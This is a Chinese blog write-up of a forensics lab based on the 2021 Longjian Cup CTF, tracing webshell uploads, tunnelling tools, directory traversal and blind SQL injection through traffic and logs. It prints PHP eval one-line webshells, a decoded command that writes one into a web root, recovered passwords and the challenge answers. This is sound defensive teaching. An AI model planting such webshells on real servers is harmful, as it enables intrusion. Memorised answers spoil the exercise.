网络攻防技术——追踪溯源

发布时间 2024-01-06 20:14:17作者: Leo1017

实验13:溯源与取证分析实验

实验内容:

溯源取证分析作为网络攻防过程中重要环节,准确找到攻击者的入侵线索(尤其是攻击突破口、攻击IP地址、域名、工具等信息),对于企业或者团队安全运营团队来说都是必备技能。常规攻击取证过程中往往会结合流量、Web访问日志、终端系统或者软件日志等信息来挖掘或者推断相关线索。本实验通过网络流量、日志等溯源环境进行真实案例模仿,通过实战化分析来锻炼学生的取证溯源能力,从而加深大家对于网络攻防的实战化水平。在本实验结束时,学生应该能够具备对网络流量和日志的基本分析能力。本实验选自2021年陇剑杯。

实验工具:

 

 

主要回答如下问题:

小张单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:

  1. 由题目可知这次攻击是一次获取webshell后实施的攻击,服务器是Ubuntu,那么攻击者肯定会运行一些常见的Linux系统命令,于是搜索常用命令如lspwdwhoami等,发现在一个TCP包中有一个参数名为aaa的参数,并传递了system('whoami')的参数值,明显是木马文件接受的参数

    于是搜索aaa,成功定位到上传的木马文件,木马文件的内容如下

    <?php eval($_REQUEST[a]);phpinfo(); ob_flush();?>

    接受一个参数为要执行的php语句,打印phpinfo验证是否成功上传木马并被php解释器执行,ob_flush()函数用于将输出缓冲区的内容立即发送到浏览器

    追踪aaa接受的命令,发现攻击者依次运行了ifconfigipconfigpwd等命令

    继续跟踪aaa接受的命令,发现有一条被base64编码的语句,猜测是为了绕过WAF

    于是将编码部分进行解码,得到命令为

    system('echo <?php eval($_REQUEST[aaa]);?>');> /var/www/html/1.php');

    将一个php一句话木马写入了网站根目录下的1.php文件中,可能是为了在服务器持久化存储该木马文件

    在持久化存储木马文件后就应该正式开始攻击了,我们继续追踪aaa参数,果然在下一次调用木马就发现一个较为复杂的参数值,看起来符合webshell工具——蚁剑的传输流量特征

    分析这段代码的用处,大概是对传输数据进行编码和输出进行限制的内容,包括隐藏错误显示、设置脚本执行时间不受限制等操作,其中值得注意的是这里规定base64解码时应该从第三个字节开始进行解码,解码的对象是POST参数j68071301598f的值

    解码的内容如下,frpc是内网穿透中的客户端工具

    把数据包中携带的另一个参数解码,这里使用的是十六进制转字符的方式进行解码

    得到了IP地址,端口号以及代理协议类型是socks5,用户名和密码分别是0HDFt16cLQJJTN276Gp

    总体的攻击流程是攻击者上传了一个webshell,并将webshell写到网站根目录,然后用蚁剑连接获得服务器shell

  2. 搜索password字符串,得到HTTP明文传递的用户和密码

    其中密码是Admin123!@#,由URL解码得到

    Socks5协议密码已经在上一问中得到

小明发现单位某应用程序被攻击后提取了对应的日志数据,请分析日志并进行作答:

  1. 首先对日志文件进行url解码

    常见的备份文件后缀有.zip.rar.7z等,这里筛选出状态码为200的请求,可以看出源码文件应该是www.zip,其余访问的状态码都是404

  2. 在日志文件中搜索tmp,发现使用"../"进行了web目录的恶意遍历,这里遍历到了tmp目录下的sess_car文件,文件名即sess_car

  3. 在分析tmp目录时发现攻击者使用SplFileObject类存在的反序列化漏洞成功读取到了秘密信息flag

一位苹果安全研究员在家中使用手机联网被黑,不仅被窃密还丢失比特币若干,请你通过流量和日志分析后作答:

  1. 使用wireshark的追踪流功能,发现在15TCP流处明显是一个远程登录shell,呈现的是一个终端的格式并包含一些命令,比如这里攻击者利用了一个叫做StowawayGithub开源项目,这是一个内网穿透的代理工具,跟第一个实验中使用的frpc一样,都是为了将内网环境中的靶机暴露出来

    在该项目github主页可以看到使用说明

    结合使用说明的参数说明,我们可以得到攻击者主机IP3.128.156.159,加密密钥是hack4sec

    这个TCP流就分析完了,我们继续追踪后面的TCP流发现都是TLS协议加密过的,但我们有密钥文件,就可以使用密钥文件在wireshark中进行解密

    筛选出http2的数据流,发现有明显sql注入的特征,于是将这部分url导出,并进行url解码

    得到如下结果,判断是在进行布尔盲注

    在渗透中通常要扫描端口,由于大多数端口关闭,主机会发出RST,我们只需在wireshark的专家模式中找到RST数据包即可确定端口扫描范围

    可见范围是10-499

    接下来分析日志文件

    发现这里有一个利用webshell的请求,一句话木马的密码是fxxk,恶意命令被base64编码

    解码得到命令是whoami

    同时这里出现了一个内网IP地址,说明攻击者利用该webshell进行了对受害者的内网服务器进行了入侵

  2. 有上文的分析知是3.128.156.159

  3. 把上面sql注入获得的数据拼接在一起得到:

746558f3-c841-456b-85d7-d6c0f2edabb2